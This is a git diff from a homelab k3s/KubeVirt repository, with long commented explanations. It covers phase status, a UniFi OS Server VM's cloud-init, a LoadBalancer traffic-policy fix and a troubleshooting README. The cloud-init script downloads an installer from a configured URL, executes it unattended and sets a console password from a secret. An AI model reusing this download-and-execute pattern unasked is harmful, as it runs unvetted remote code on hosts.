State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
|
||||
and this repo has already been burned by the difference. All three headings are
|
||||
**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
|
||||
Template and full rationale: `decisions/README.md`.
|
||||
|
||||
**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
|
||||
SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
|
||||
to it. Appending to its tail is what every agent used to do, and because every branch
|
||||
appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
|
||||
on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
|
||||
`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
|
||||
anything to do with each other. Separate files have nothing to merge, which is the
|
||||
entire fix. Note that the damage from getting this wrong lands on *other people's*
|
||||
branches, later, which is why it is a gate stage and not a request.
|
||||
|
||||
Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
|
||||
wording is **stale**, in the same way §1's `git push origin main` wording is stale.
|
||||
+2433
File diff suppressed because it is too large.
Load diff
@@ -38,22 +38,56 @@ ci/ the gate as scripts (lint · schema · Kyverno L0 · L1 render
|
||||
|
||||
## Status
|
||||
|
||||
Roadmap phases **0–6 are delivered and deployed** on the dev cluster; **Phase 7 (prod) is not
|
||||
open** — `clusters/prod` is a design-only overlay.
|
||||
Roadmap phases **0–6 are delivered**, and **Phase 7 (Production Readiness) is OPEN and in
|
||||
progress**. `clusters/prod` is no longer a design-only overlay: prod is the live cluster, serving the
|
||||
apex `home.keithjackson.dev`. The dev cluster was **decommissioned on 2026-09-12** (full migration:
|
||||
dev out, prod onto the apex — see the DECISIONS-LOG), so phases 0–6 are now exercised on prod
|
||||
hardware rather than on Proxmox VMs.
|
||||
|
||||
**Phase 7 exit criteria** — *prod runs the same config via the prod overlay; DR proven; monitoring +
|
||||
alerts live*:
|
||||
|
||||
| criterion | state |
|
||||
|---|---|
|
||||
| prod runs the prod overlay | **met** — 3× mini-PC bare metal, one Flux tree, prod overlay only |
|
||||
| monitoring + alerts live | **met 2026-09-13** — see the note below; this was not true before that date |
|
||||
| **DR proven** | **R-STATE-03 PROVEN on prod 2026-09-14** — off-cluster restore from Cloudflare R2. `R-STATE-02` (node-loss) is still dev-only |
|
||||
|
||||
**DR restore is proven on prod.** `R-STATE-03` reads `proven` in `--status` as of 2026-09-14 —
|
||||
the first requirement in this repo to reach that state. Both of its verifiers are recorded:
|
||||
`dr-restore` (L3, run `20260914T021505Z-24b8111`, sentinel `DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK`)
|
||||
and `placeholder-guard-coupling` (L0). The L3 drill seeds a canary on the replicated `longhorn`
|
||||
class, backs the namespace and volume data up off-cluster, **destroys every in-cluster copy**
|
||||
(namespace, PVC and PV), restores into a clean namespace, and asserts the restored PVC binds a
|
||||
*different* PersistentVolume — so an in-cluster survival cannot pass as a restore.
|
||||
|
||||
**What remains for Phase 7:** `R-STATE-02` (`node-loss`) is still proven only on the decommissioned
|
||||
dev cluster. That drill takes a real node down on a live cluster, so it is a deliberate, scheduled
|
||||
exercise rather than something to run in passing.
|
||||
|
||||
Read `--coverage-only` and `--status` as two different questions; the earlier `PROVEN: 0` was not a
|
||||
bug but the honest answer, because proofs are claims about a specific tree on a specific cluster.
|
||||
|
||||
| Phase | Delivered |
|
||||
|---|---|
|
||||
| 0 Foundations | ServiceDefinition schema + renderer, Kyverno L0 gate, conformance harness, CI |
|
||||
| 1 Cluster bring-up | 3-node k3s HA on **Proxmox VE** (`192.168.1.50/.51/.52`), Cilium, Flux, SOPS |
|
||||
| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon CoreDNS |
|
||||
| 1 Cluster bring-up | 3-node k3s HA, embedded etcd, kube-vip VIP, Cilium, Flux, SOPS. Originally Proxmox VMs; **now 3× mini-PC bare metal** (`k3s-prod-1/2/3`, `192.168.2.10/.11/.12`, k3s v1.36.4+k3s1, Debian 13) |
|
||||
| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon DNS, **both halves**: CoreDNS for pods, and **PiHole as the authoritative LAN resolver** for `${BASE_DOMAIN}` on udp/53 + tcp/53 at a pinned VIP (`192.168.2.23` on prod). The LAN half was claimed from the start but did not exist until 2026-09-14 — PiHole's Service was ClusterIP :80/:4180, so LAN clients ran on hand-maintained per-client `dnsmasq` files |
|
||||
| 3 Egress / VPN | ADR-0015 node-level OpenVPN split-tunnel + Cilium egress-gateway steering + host kill-switch |
|
||||
| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero still blocked on OQ-BKP**; image-automation authored but disabled |
|
||||
| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero unblocked 2026-09-13** — backs up to Cloudflare R2 (OQ-BKP closed; the `velero-plugin-for-aws` tagging incompatibility needed a pinned plugin). Longhorn has **no** backup target by decision: volume data is protected by Velero + kopia to R2. image-automation authored but disabled |
|
||||
| 5 IaaS | KubeVirt + CDI on real nested KVM; live-migratable RWX VM storage. The UniFi VM runs, but **UniFi OS Server is not yet installed in the guest** |
|
||||
| 6 Identity + CI | Keycloak (Operator + CNPG) · oauth2-proxy forward-auth · Grafana OIDC · **kubectl OIDC SSO with group→RBAC** · in-cluster Gitea Actions merge gate |
|
||||
| **7 Production readiness** | **IN PROGRESS** (DR restore proven 2026-09-14; node-loss outstanding). Prod live on bare metal serving the apex; dev decommissioned; CNPG HA 3 instances with primaries spread one per node; NFS bulk media + legacy Nextcloud mounted; VPN egress on prod. Alerting made real 2026-09-13 (Longhorn, cert-manager, Flux and twelve app SLIs had all been unable to fire). **Open: `node-loss` (R-STATE-02) re-proven on prod.** |
|
||||
|
||||
**Conformance: 36 / 51 requirements covered (70.6%)**, 15 gaps, 1 safety-critical gap
|
||||
(`R-STATE-02`, Longhorn node-loss). Regenerate with `./conformance/run.sh --coverage-only`;
|
||||
the full report is `conformance/_artifacts/coverage/coverage.md`.
|
||||
**Conformance: 51 / 51 requirements covered (100%)**, 0 gaps, 0 safety-critical gaps (closed
|
||||
2026-09-13; `R-C2-01`/`R-C2-02` were the last two). Regenerate with
|
||||
`./conformance/run.sh --coverage-only`; the full report is
|
||||
`conformance/_artifacts/coverage/coverage.md`.
|
||||
|
||||
Coverage is **not** proof. A requirement is *covered* when an executable test exists for it, and
|
||||
*PROVEN* only when a recorded run of that test is in `conformance/runs/ledger.jsonl` at the current
|
||||
SHA on the cluster it claims. Read both numbers: `--coverage-only` for the first, `--status` for the
|
||||
second.
|
||||
|
||||
The running narrative — decisions, root causes, incidents, follow-ups — is
|
||||
[`DECISIONS-LOG.md`](DECISIONS-LOG.md). It, not this table, is the authoritative record.
|
||||
|
||||
@@ -41,10 +41,41 @@ spec:
|
||||
# disk KubeVirt cannot migrate and eviction would hard-stop the guest.
|
||||
evictionStrategy: LiveMigrate
|
||||
domain:
|
||||
# =====================================================================================
|
||||
# FIRMWARE UUID == THE CLOUD-INIT INSTANCE-ID. THIS IS THE RE-RUN LEVER. READ BEFORE EDIT.
|
||||
# =====================================================================================
|
||||
# MEASURED on prod 2026-09-14, not assumed:
|
||||
# * the NoCloud seed KubeVirt builds for this VM carries
|
||||
# {"instance-id":"de5c3338-6d32-4956-89d1-12c8272b2c07","local-hostname":"unifi"}
|
||||
# (read out of noCloud.iso inside virt-launcher-unifi-gp594), and that value was
|
||||
# EXACTLY `spec.template.spec.domain.firmware.uuid`, which KubeVirt's mutating webhook
|
||||
# had stamped onto the VM OBJECT — so it is PERSISTENT, not per-VMI (the VMI's own uid
|
||||
# was b532fd7c-…, a different value). It is not a hash of the VM name either: the four
|
||||
# standard uuid5 namespaces over "unifi" / "unifi.unifi" all produce something else.
|
||||
# * cloud-init's NoCloud datasource decides "is this the same instance?" by comparing the
|
||||
# cached instance-id against the guest's DMI product_uuid — which IS this firmware UUID.
|
||||
#
|
||||
# CONSEQUENCE, and it is the whole reason the previous unattended attempt could never have
|
||||
# worked: EDITING `userData` BELOW AND RESTARTING THE VM CHANGES NOTHING. cloud-init sees an
|
||||
# unchanged instance-id, restores its CACHED datasource, never re-reads the seed, and skips
|
||||
# every per-instance module (write_files, runcmd). The new payload is silently ignored.
|
||||
#
|
||||
# So the UUID is pinned HERE, in git, and BUMPING IT IS THE SUPPORTED WAY to make the guest
|
||||
# process a new cloud-init payload: change the trailing hex, commit, restart the VM. Pinning
|
||||
# it also makes a rebuild reproducible — a fresh apply would otherwise take a random
|
||||
# webhook-generated UUID and give the guest a different identity every time.
|
||||
#
|
||||
# The value below is DELIBERATELY NOT the de5c3338-…c07 the live guest booted with: that
|
||||
# difference is what makes the next boot a NEW cloud-init instance and installs the
|
||||
# `install-uos` helper + its systemd unit. `serial` is pinned to the value the webhook
|
||||
# already stamped, so this change does not also churn the guest's DMI serial.
|
||||
firmware:
|
||||
uuid: "de5c3338-6d32-4956-89d1-12c8272b2c11"
|
||||
serial: "24bb12ac-d311-45f6-a75b-90a9e1b63e18"
|
||||
# FLAG (verify-at-bringup): Ubuntu 24.04 amd64 cloud images are hybrid BIOS+UEFI bootable,
|
||||
# so KubeVirt's default SeaBIOS SHOULD boot cleanly (unlike the Fedora containerdisk, which
|
||||
# is UEFI-only and needed an explicit efi block). If the guest drops to emergency/no-boot,
|
||||
# add: firmware: { bootloader: { efi: { secureBoot: false } } }
|
||||
# is UEFI-only and needed an explicit efi block). RESOLVED at bring-up: boots as shipped;
|
||||
# the guest reports Ubuntu 24.04.4 LTS.
|
||||
cpu:
|
||||
cores: 2
|
||||
memory:
|
||||
@@ -58,9 +89,28 @@ spec:
|
||||
- name: cloudinit
|
||||
disk:
|
||||
bus: virtio
|
||||
# The operator's installer URL (+ optional SSH key), delivered as a tiny read-only
|
||||
# iso9660 disk — see the `uosdata` volume near the bottom of this file.
|
||||
- name: uosdata
|
||||
disk:
|
||||
bus: virtio
|
||||
interfaces:
|
||||
# MAC PINNED 2026-09-18, and this is a root-cause fix, not cosmetics.
|
||||
# KubeVirt generates a fresh MAC for every VMI when none is pinned. cloud-init writes
|
||||
# /etc/netplan/50-cloud-init.yaml with a `match` on the MAC it saw, and it will NOT rewrite
|
||||
# that file while the NoCloud instance-id is unchanged — and the instance-id here is
|
||||
# domain.firmware.uuid, which is stable across restarts by design. So each VMI recreation
|
||||
# handed the guest a NEW MAC that the retained netplan did not match, leaving enp1s0
|
||||
# administratively DOWN with no address and no DHCP attempt.
|
||||
# That is exactly what the evidence shows for the boot of 2026-09-12: cloud-init's own
|
||||
# device table reports `enp1s0 | Up: False | Address: .`, no apt failures are logged
|
||||
# (because the per-instance modules were skipped), yet UOS is installed and
|
||||
# qemu-guest-agent runs — both of which required a working network on an EARLIER VMI.
|
||||
# Pinning the MAC to the value the current VMI already holds makes the guest's netplan
|
||||
# match permanently, so this cannot recur on the next recreation.
|
||||
- name: default
|
||||
masquerade: {}
|
||||
macAddress: a6:d7:c0:b3:72:fa
|
||||
# Declaring ports on a masquerade iface (a) restricts pod->VM forwarding to exactly
|
||||
# these and (b) surfaces them as containerPorts on the virt-launcher pod so the
|
||||
# LoadBalancer Services + CiliumNetworkPolicy ingress can target/match them.
|
||||
@@ -83,41 +133,112 @@ spec:
|
||||
- name: rootdisk
|
||||
dataVolume:
|
||||
name: unifi-rootdisk
|
||||
# =====================================================================================
|
||||
# THE OPERATOR'S ONE FIELD — SOPS Secret `unifi-uos-installer`, delivered as a DISK.
|
||||
# =====================================================================================
|
||||
# KubeVirt exposes a Secret as a small read-only iso9660 disk whose volume label we choose;
|
||||
# each Secret key becomes a file on it. The guest mounts it by label (LABEL=UOSDATA) and
|
||||
# reads `installer-url` plus an optional `console-password`. The Secret ships ENCRYPTED with
|
||||
# REPLACE-ME placeholders, and the guest-side script treats anything that is not an https
|
||||
# URL as "not provided yet" and exits 0 — so the VM boots and stays healthy until the
|
||||
# operator fills it in. See unifi-uos-installer.sops.yaml.example next to this file.
|
||||
#
|
||||
# `console-password` exists because THERE IS CURRENTLY NO WAY INTO THIS GUEST. The stock
|
||||
# Ubuntu cloud image ships a locked `ubuntu` account, this cloud-init never installed a key,
|
||||
# and SSH could not help anyway: the masquerade interface above forwards ONLY the declared
|
||||
# ports, and 22 is not one of them — probed from inside virt-launcher on 2026-09-14, the
|
||||
# guest answers RST on 22 exactly as it does on the UniFi ports. The serial console is the
|
||||
# only door, and a console needs a password. Set it and `virtctl -n unifi console unifi`
|
||||
# works; `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` already gives
|
||||
# read-only console output with no virtctl at all.
|
||||
#
|
||||
# WHY A SEPARATE DISK AND NOT `cloudInitNoCloud.secretRef` (which would also lift the
|
||||
# 2048-byte inline cap): secretRef moves the ENTIRE cloud-config into ciphertext. Two
|
||||
# concrete costs. (a) The shell below stops being reviewable in a diff and falls outside the
|
||||
# L0 dollar-collapse guard, which can only read plaintext. (b) Flux runs its postBuild
|
||||
# envsubst over the DECRYPTED resources, so the escape contract in
|
||||
# clusters/base/apps-vms.yaml would still govern text nobody can see in git — the exact
|
||||
# shape of the 2026-09-13 nextcloud-db incident. Keeping the script in plaintext and putting
|
||||
# ONLY the operator's two values behind SOPS keeps both properties.
|
||||
#
|
||||
# A CHANGED SECRET REACHES THE GUEST ON THE NEXT VMI START with NO firmware-UUID bump: the
|
||||
# disk is rebuilt from the Secret every time the VMI starts, and the systemd unit below
|
||||
# re-reads it on EVERY boot instead of relying on cloud-init (which will not re-run — see
|
||||
# the firmware block above). The UUID bump is a ONE-TIME step, to get that unit installed.
|
||||
- name: uosdata
|
||||
secret:
|
||||
secretName: unifi-uos-installer
|
||||
volumeLabel: UOSDATA
|
||||
- name: cloudinit
|
||||
cloudInitNoCloud:
|
||||
# INLINE (kept < KubeVirt's 2048-byte userData limit — so NO SSH key here; add one back via
|
||||
# userDataSecretRef only if needed). qemu-guest-agent gives the KubeVirt AgentConnected
|
||||
# signal (proves cloud-init ran); install-uos resolves the latest UOS linux-x64 build from
|
||||
# Ubiquiti's PUBLIC firmware API (no auth) and installs it non-interactively (UI on :11443).
|
||||
# NOTE: apps-vms NOW carries postBuild.substituteFrom cluster-vars (needed for
|
||||
# ${UNIFI_L4_VIP} in 50-service-l4.yaml), so Flux envsubst DOES run over this userData.
|
||||
# Every shell brace-expansion below is therefore escaped as $${...}, which envsubst emits
|
||||
# as a literal $${...} — verified with `flux envsubst`. Bare $VAR and $(...) are left alone
|
||||
# by envsubst and need no escaping. NEVER write an unescaped $${...} here, and never write
|
||||
# an INDEXED expansion unescaped: envsubst hard-fails on `[` ("missing closing brace")
|
||||
# and would break the whole apps-vms apply. CORRECTION (2026-09-01, measured against
|
||||
# flux 2.4.0 `envsubst --strict`): escaping IS total — $${ARR[0]} emits the literal
|
||||
# text safely. Only the UNESCAPED indexed form is fatal. The earlier "escaped or not"
|
||||
# wording in clusters/base/apps-vms.yaml overstated it.
|
||||
# INLINE, and it MUST stay <= 2048 bytes. That ceiling was MEASURED against the
|
||||
# DEPLOYED KubeVirt v1.9.0 rather than quoted: a server-side dry-run apply of an
|
||||
# otherwise-identical VM accepted 2048 bytes of userData and rejected 2049 with
|
||||
# "cloudInitNoCloud userdata exceeds 2048 byte limit. Should use UserDataSecretRef for
|
||||
# larger data." The payload below is ~1.5 KB; keep additions small.
|
||||
#
|
||||
# WHAT IT DOES: installs qemu-guest-agent (the KubeVirt AgentConnected signal, which is
|
||||
# also the proof cloud-init ran) and preps Podman for UOS, then writes `install-uos`
|
||||
# plus a systemd unit that runs it on EVERY boot. The unit — not cloud-init — is what
|
||||
# makes a later URL change take effect, because cloud-init will not re-run per-instance
|
||||
# modules while the instance-id is unchanged.
|
||||
#
|
||||
# `install-uos` IS IDEMPOTENT AND WILL NOT REINSTALL OVER A WORKING CONTROLLER. It bails
|
||||
# out the moment systemd knows a `uosserver.service` — which the live guest ALREADY has:
|
||||
# the serial console log for the current boot shows both `uosserver.service` and
|
||||
# `uosserver-updater.service` starting, and the root filesystem is 6.3 GB of 40 GB used.
|
||||
# UOS is installed here; see the README for what is actually wrong (the guest lost its
|
||||
# IP). A stamp file at /var/lib/uos-installed is the second, weaker guard for the case
|
||||
# where the unit name changes in some future UOS release.
|
||||
#
|
||||
# ENVSUBST: apps-vms declares postBuild.substituteFrom (for ${UNIFI_L4_VIP} in
|
||||
# 50-service-l4.yaml), so Flux's envsubst DOES run over this text. ${BASE_DOMAIN} below
|
||||
# is a deliberate substitution. Everything else is bare `$name` or `$(cmd)`, both of
|
||||
# which envsubst leaves untouched — verified against the live VMI, whose rendered
|
||||
# userData still carries its shell variables verbatim. There is deliberately NO
|
||||
# brace-form shell expansion left in this payload, so nothing here needs escaping; if
|
||||
# you add one, escape it per the contract in clusters/base/apps-vms.yaml, and NEVER
|
||||
# write an indexed expansion.
|
||||
userData: |-
|
||||
#cloud-config
|
||||
hostname: unifi
|
||||
fqdn: unifi.${BASE_DOMAIN}
|
||||
package_update: true
|
||||
package_upgrade: false
|
||||
packages: [qemu-guest-agent, podman, uidmap, slirp4netns, ca-certificates, curl, jq, cloud-guest-utils]
|
||||
packages: [qemu-guest-agent, podman, uidmap, slirp4netns, ca-certificates, curl]
|
||||
write_files:
|
||||
- path: /usr/local/sbin/install-uos
|
||||
permissions: '0755'
|
||||
content: |
|
||||
#!/usr/bin/env bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
if [ -z "$${UOS_URL:-}" ]; then
|
||||
UOS_URL="$(curl -fsSL https://fw-update.ui.com/api/firmware-latest | jq -r '._embedded.firmware|map(select(.product=="unifi-os-server" and .platform=="linux-x64"))|sort_by(.version_major,.version_minor,.version_patch)|last._links.data.href')"
|
||||
fi
|
||||
[ -n "$${UOS_URL}" ] && [ "$${UOS_URL}" != "null" ] || { echo "no UOS URL"; exit 1; }
|
||||
t="$(mktemp)"; echo "downloading $${UOS_URL}"; curl -fL --retry 5 --retry-delay 10 -o "$t" "$UOS_URL"; chmod +x "$t"; echo "installing"; yes | "$t"; echo "done"
|
||||
d=/run/uos; mkdir -p $d
|
||||
mountpoint -q $d || mount -o ro LABEL=UOSDATA $d
|
||||
p=$(tr -d '\r\n' < $d/console-password || true)
|
||||
case "$p" in ""|REPLACE-ME) ;; *) echo "ubuntu:$p" | chpasswd ;; esac
|
||||
systemctl cat uosserver.service >/dev/null 2>&1 && exit 0
|
||||
s=/var/lib/uos-installed
|
||||
[ -e $s ] && exit 0
|
||||
u=$(tr -d '\r\n' < $d/installer-url || true)
|
||||
case "$u" in https://*) ;; *) echo "UOS installer-url not set yet"; exit 0;; esac
|
||||
t=$(mktemp)
|
||||
curl -fL --retry 5 --retry-delay 10 -o $t "$u"
|
||||
chmod +x $t
|
||||
yes y | $t install || yes y | $t
|
||||
rm -f $t; date -Is > $s
|
||||
- path: /etc/systemd/system/uos-install.service
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Install UniFi OS Server
|
||||
Wants=network-online.target
|
||||
After=network-online.target
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/usr/local/sbin/install-uos
|
||||
StandardOutput=journal+console
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
runcmd:
|
||||
- [ systemctl, enable, --now, qemu-guest-agent ]
|
||||
- [ systemctl, enable, --now, podman.socket ]
|
||||
- [ bash, -lc, "/usr/local/sbin/install-uos 2>&1 | tee /var/log/uos-install.log > /dev/console" ]
|
||||
- [systemctl, enable, --now, qemu-guest-agent]
|
||||
- [systemctl, enable, --now, podman.socket]
|
||||
- [systemctl, enable, --now, uos-install.service]
|
||||
@@ -21,8 +21,61 @@
|
||||
# k3s v1.31 — but the shared-key split is the lower-risk, Cilium-native pattern.)
|
||||
#
|
||||
# selector kubevirt.io/vm=unifi -> the virt-launcher pod; masquerade forwards the declared ports
|
||||
# into the guest. externalTrafficPolicy: Local preserves the LAN client source IP and keeps the
|
||||
# VIP pinned to the node running the VM (also what L2 announcement does).
|
||||
# into the guest.
|
||||
#
|
||||
# -------------------------------------------------------------------------------------------
|
||||
# externalTrafficPolicy: Cluster — CORRECTED 2026-09-14 after an 8-DAY LAN OUTAGE.
|
||||
# -------------------------------------------------------------------------------------------
|
||||
# This file used to say `Local`, justified as "preserves the LAN client source IP and keeps the
|
||||
# VIP pinned to the node running the VM (also what L2 announcement does)". BOTH HALVES OF THAT
|
||||
# WERE FALSE ON THIS CLUSTER, and the second one took the UniFi controller off the LAN entirely.
|
||||
#
|
||||
# 1) L2 ANNOUNCEMENT DOES NOT FOLLOW THE BACKEND. Cilium's L2 announcer elects one lease holder
|
||||
# per Service among the nodes matching the CiliumL2AnnouncementPolicy `default-l2` — which
|
||||
# matches ALL linux nodes — and it does NOT filter that set by which nodes hold a backend.
|
||||
# MEASURED on prod 2026-09-14: the unifi VM ran on k3s-prod-1 while BOTH
|
||||
# `cilium-l2announce-unifi-unifi-l4-tcp` and `-udp` were held by k3s-prod-2. With `Local`, an
|
||||
# announcing node that holds no backend has nowhere to send the packet and answers ICMP port
|
||||
# unreachable. 192.168.2.21:8443, :8080 and :11443 were dead from the LAN for up to 8 days
|
||||
# (the leases were 8 days old); the operator's controller UI and device inform path were down.
|
||||
# It does NOT self-heal: the lease holder keeps RENEWING after the backend moves, so only
|
||||
# deleting the Lease forces a re-election — and that re-election is random, so it can pick a
|
||||
# backend-less node again. See apps/wave-0/pihole-dns.yaml, which hit this first and is the
|
||||
# reference implementation this file now follows.
|
||||
#
|
||||
# 2) `Local` WAS NEVER PRESERVING THE CLIENT IP HERE ANYWAY — this is a KubeVirt VM. The
|
||||
# interface in 30-virtualmachine.yaml is `masquerade: {}`, which is KubeVirt's NAT binding: it
|
||||
# SNATs everything from the virt-launcher pod into the guest over a private link, so the UniFi
|
||||
# controller has always seen the pod-side masquerade gateway as the source, never the LAN
|
||||
# client. There is a SECOND translation below the Service, and it already destroyed the very
|
||||
# thing `Local` was being kept for. So the client-IP cost of this change is ZERO for UniFi:
|
||||
# it is giving up an address the guest could not see in the first place.
|
||||
#
|
||||
# Nothing UniFi depends on breaks: device identity in the adoption/inform flow is the device
|
||||
# MAC (and the device reports its own IP inside the inform payload), not the packet source,
|
||||
# and guest-portal authorization runs on the gateway appliance, not on this controller.
|
||||
#
|
||||
# `Cluster` makes EVERY node able to serve the VIP by forwarding to wherever the VM runs, which
|
||||
# is what makes this survive a reschedule and a rebuild.
|
||||
#
|
||||
# NO CHANGE IS NEEDED IN 40-networkpolicy.yaml, AND THAT WAS VERIFIED RATHER THAN ASSUMED.
|
||||
# Under `Cluster` the forwarded second hop is sourced from the ingress node and carries Cilium's
|
||||
# reserved `remote-node` identity. pihole-dns.yaml has to name `remote-node` explicitly in its
|
||||
# CiliumNetworkPolicy — but that is because its policy deliberately omits `cluster`.
|
||||
# unifi-allow-l4-ingress admits `cluster`, and Cilium's `cluster` entity SUBSUMES `remote-node`
|
||||
# (along with host/init/unmanaged). Confirmed on prod 2026-09-14 by dumping the endpoint's
|
||||
# datapath policy map (`cilium-dbg bpf policy get`) while the CNP was in its unmodified state:
|
||||
# `reserved:remote-node` was already an Allow on the L4 ports. Adding `remote-node` to that rule
|
||||
# would be a no-op, so it is deliberately NOT added here — do not "fix" it.
|
||||
#
|
||||
# NO loadBalancerSourceRanges HERE, DELIBERATELY — and this is where this file departs from
|
||||
# pihole-dns.yaml. PiHole added `loadBalancerSourceRanges: [${LAN_CIDR}]` because it was giving
|
||||
# up a restriction it actually had and genuinely needed to be LAN-only. These Services never had
|
||||
# a source restriction at all (unifi-allow-l4-ingress admits `world`), so `Cluster` removes no
|
||||
# protection and there is nothing to compensate for. Adding a LAN-only filter during an outage
|
||||
# fix would be a NEW restriction that could silently break a remote site's device informing over
|
||||
# WAN — trading this outage for a subtler one. If UniFi should be LAN-only, that is its own
|
||||
# change, made deliberately and tested against the device fleet.
|
||||
#
|
||||
# VIP: ${UNIFI_L4_VIP} (cluster-vars, R-ENV-02; dev 192.168.1.54, confirmed free, inside
|
||||
# default-pool and reserved in tofu — the Gateway already holds the pool's first IP, dev .53).
|
||||
@@ -49,7 +102,7 @@ metadata:
|
||||
external-dns.alpha.kubernetes.io/hostname: "unifi.${BASE_DOMAIN}"
|
||||
spec:
|
||||
type: LoadBalancer
|
||||
externalTrafficPolicy: Local
|
||||
externalTrafficPolicy: Cluster
|
||||
selector:
|
||||
kubevirt.io/vm: unifi
|
||||
ports:
|
||||
@@ -72,7 +125,7 @@ metadata:
|
||||
lbipam.cilium.io/ips: "${UNIFI_L4_VIP}"
|
||||
spec:
|
||||
type: LoadBalancer
|
||||
externalTrafficPolicy: Local
|
||||
externalTrafficPolicy: Cluster
|
||||
selector:
|
||||
kubevirt.io/vm: unifi
|
||||
ports:
|
||||
|
||||
+202
-74
@@ -1,18 +1,48 @@
|
||||
# UniFi Network controller (UniFi OS Server) — VM onboarding
|
||||
|
||||
> **LIVE — partially.** Reconciled by the **non-gating `apps-vms`** Flux Kustomization
|
||||
> (`clusters/base/apps-vms.yaml`, `dependsOn: platform-config`, `wait: false`). VMs are a separate
|
||||
> lifecycle from the rendered app waves, and UniFi has no in-cluster dependents, so a slow import
|
||||
> or install cannot stall the app tier.
|
||||
> **LIVE — but the controller is unreachable, and NOT for the reason this file used to claim.**
|
||||
> Reconciled by the **non-gating `apps-vms`** Flux Kustomization (`clusters/base/apps-vms.yaml`,
|
||||
> `dependsOn: platform-config` + `platform-config-cdi`, `wait: false`). VMs are a separate lifecycle
|
||||
> from the rendered app waves, and UniFi has no in-cluster dependents, so a slow import or install
|
||||
> cannot stall the app tier.
|
||||
>
|
||||
> **Status (verified 2026-08-26):**
|
||||
> - `longhorn-vm` StorageClass — **live** (RWX / Block / migratable).
|
||||
> - CDI import — **Succeeded** (100%); `unifi-rootdisk` PVC Bound, 40Gi, RWX, `longhorn-vm`.
|
||||
> - VM — **Running**, guest agent connected, Ubuntu 24.04.4 LTS, live-migratable, on `k3s-dev-1`.
|
||||
> - L4 LoadBalancer VIP `192.168.1.54` — **allocated** on both Services.
|
||||
> - **UniFi OS Server itself is NOT installed.** Port `11443` does not answer from in-cluster
|
||||
> (the CNP explicitly permits `cluster` → `:11443`, so this is "nothing listening", not policy).
|
||||
> The guest is a bare, prepped Ubuntu. **This is the one remaining step** — see Open question 1.
|
||||
> **Status (re-verified against live prod 2026-09-14):**
|
||||
> - `longhorn-vm` StorageClass — **live**; `unifi-rootdisk` PVC Bound, **40Gi, RWX, Block**.
|
||||
> - CDI import — **Succeeded** (100%).
|
||||
> - VM — **Running** on **`k3s-prod-1`**, guest agent connected, Ubuntu 24.04.4 LTS,
|
||||
> `LiveMigratable=True` / `StorageLiveMigratable=True`. VMI age 34h, VM 8d.
|
||||
> - L4 LoadBalancer VIP **`192.168.2.21`** — allocated and held on both Services.
|
||||
> - **UniFi OS Server IS INSTALLED.** This reverses the previous entry here. See below.
|
||||
> - **The guest has no IP address.** That — not a missing install — is why `:11443`, `:8443` and
|
||||
> `:8080` refuse connections.
|
||||
|
||||
## What is actually wrong (2026-09-14)
|
||||
|
||||
The earlier note in this file said "UOS is NOT installed; the guest is a bare, prepped Ubuntu".
|
||||
That was wrong, and acting on it would have meant reinstalling over a working controller.
|
||||
|
||||
Evidence, all read-only, from the live cluster:
|
||||
|
||||
| Claim | How it was checked | Result |
|
||||
|---|---|---|
|
||||
| UOS is installed | `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` | the current boot starts **`uosserver.service` — UniFi OS Server Service** and **`uosserver-updater.service`** |
|
||||
| …and it is a real install, not a stub | KubeVirt guest-agent `filesystemlist` subresource | `/` is **6.3 GB used of 40 GB** — a bare Ubuntu cloud image with our packages is ~2 GB |
|
||||
| the guest has no IP | `kubectl -n unifi get vmi unifi -o json` → `.status.interfaces` | `enp1s0`, `linkState: up`, **no `ipAddress` field at all**; the `kubectl get vmi` IP column is empty |
|
||||
| …confirmed at the link layer | `kubectl -n unifi exec virt-launcher-… -c compute -- ip neigh` | **`10.0.2.2 dev k6t-eth0 FAILED`** — the guest does not answer ARP for its masquerade address |
|
||||
| the ports are dead end-to-end | `/dev/tcp` probes from inside virt-launcher, to the pod IP **and** to `10.0.2.2` directly | 11443 / 8443 / 8080 / **22** all refused — i.e. the VIP and the CNP are exonerated |
|
||||
|
||||
So the controller is installed and its units start; nothing downstream of the guest's own network
|
||||
stack can work. The interface was fine at boot (the console log reaches `network-online.target` at
|
||||
~10s and cloud-init completes at 18.5s), so the address was lost afterwards — the obvious suspect is
|
||||
UOS taking over host networking, but **that has not been proven and cannot be, from outside the
|
||||
guest.** Diagnosing it needs a shell, which is the second problem below.
|
||||
|
||||
**There is currently no way into this guest.** The shipped cloud-init installs no SSH key and sets
|
||||
no password, so the stock `ubuntu` account is locked and a serial console reaches a login prompt
|
||||
nobody can answer. SSH would not rescue it either: the masquerade interface forwards **only** the
|
||||
ports declared in `30-virtualmachine.yaml`, and 22 is not one of them — the probe above shows the
|
||||
guest RSTs on 22 exactly as it does on 11443. Closing that hole is what `console-password` in the
|
||||
new Secret is for.
|
||||
|
||||
## What this is
|
||||
|
||||
@@ -29,24 +59,39 @@ datastore** inside a Podman container stack — so **no separate MongoDB compani
|
||||
| `namespace.yaml` | `unifi` namespace: app-namespace label (Kyverno + default-deny apply), `gateway-access=shared`, backup annotation |
|
||||
| `10-default-deny.yaml` | R-NET-01 baseline: deny all, allow only DNS |
|
||||
| `20-datavolume.yaml` | CDI **http** import of the Ubuntu 24.04 cloud image onto a `longhorn-vm` **RWX/Block** disk (**40Gi**). First real CDI http import on the cluster |
|
||||
